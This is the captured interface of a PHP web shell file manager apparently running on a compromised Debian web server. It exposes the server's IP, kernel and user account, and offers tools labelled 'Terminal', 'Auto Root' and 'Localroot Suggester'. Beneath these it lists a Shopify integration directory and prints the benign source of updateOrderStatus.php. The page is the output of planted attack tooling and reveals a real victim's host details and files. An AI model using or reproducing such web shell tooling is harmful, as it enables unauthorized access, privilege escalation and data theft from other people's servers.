Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.152
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
foa_test_api /
shopify /
Delete
Unzip
Name
Size
Permission
Date
Action
ERROR
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
SUCCES
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
import
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
clients.json
126.04
KB
-rw-r--r--
2024-07-19 15:54
collections.json
419
B
-rw-r--r--
2024-07-19 16:08
config.php
273
B
-rw-r--r--
2023-10-28 20:56
createProductFromCSV.php
2.25
KB
-rw-r--r--
2023-10-28 23:18
getClients.php
576
B
-rw-r--r--
2023-10-28 22:39
getCollections.php
664
B
-rw-r--r--
2023-10-28 22:37
getOrders.php
2.05
KB
-rw-r--r--
2023-10-28 23:37
getProducts.php
1.82
KB
-rw-r--r--
2023-11-29 15:51
getProducts.php.foa
2.22
KB
-rw-r--r--
2023-10-28 22:28
getStocks.php
637
B
-rw-r--r--
2023-10-28 22:42
helper.php
858
B
-rw-r--r--
2023-10-28 22:40
launcher.php
712
B
-rw-r--r--
2023-10-28 23:04
logs.txt
1008
B
-rw-r--r--
2023-10-30 10:25
products.csv
64.87
KB
-rw-r--r--
2024-07-19 17:17
products.json
289.43
KB
-rw-r--r--
2024-07-14 04:59
products.xml
17.13
KB
-rw-r--r--
2023-10-28 21:48
shopify_to_csv.php
1.96
KB
-rw-r--r--
2023-10-28 21:35
updateOrderStatus.php
1.49
KB
-rw-r--r--
2023-10-28 23:29
Save
Rename
<?php require 'config.php'; function fetchOrders() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, SHOPIFY_API_URL . "orders.json"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HTTPHEADER, [ 'Content-Type: application/json', 'X-Shopify-Access-Token: ' . SHOPIFY_ACCESS_TOKEN ]); $response = curl_exec($ch); if (curl_errno($ch)) { echo 'Erreur Curl:' . curl_error($ch); return null; } curl_close($ch); return json_decode($response, true); } function updateOrderStatus($orderId) { $ch = curl_init(); $data = array( 'order' => array( 'id' => $orderId, 'note' => 'préparation en cours' ) ); curl_setopt($ch, CURLOPT_URL, SHOPIFY_API_URL . "orders/" . $orderId . ".json"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT'); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data)); curl_setopt($ch, CURLOPT_HTTPHEADER, [ 'Content-Type: application/json', 'X-Shopify-Access-Token: ' . SHOPIFY_ACCESS_TOKEN ]); $response = curl_exec($ch); if (curl_errno($ch)) { echo 'Erreur Curl:' . curl_error($ch); return false; } curl_close($ch); return true; } $orders = fetchOrders(); if ($orders && isset($orders['orders'])) { echo "Voici les commandes disponibles :\n"; foreach ($orders['orders'] as $order) { echo "ID: " . $order['id'] . ", Statut: " . $order['financial_status'] . ", Total: " . $order['total_price'] . "\n"; } echo "\nEntrez l'ID de la commande pour laquelle vous souhaitez changer le statut : "; $handle = fopen ("php://stdin","r"); $orderId = trim(fgets($handle)); if (updateOrderStatus($orderId)) { echo "\nStatut de la commande " . $orderId . " mis à jour en 'préparation en cours'.\n"; } else { echo "\nErreur lors de la mise à jour du statut de la commande.\n"; } } else { echo "Erreur lors de la récupération des commandes.\n"; } ?>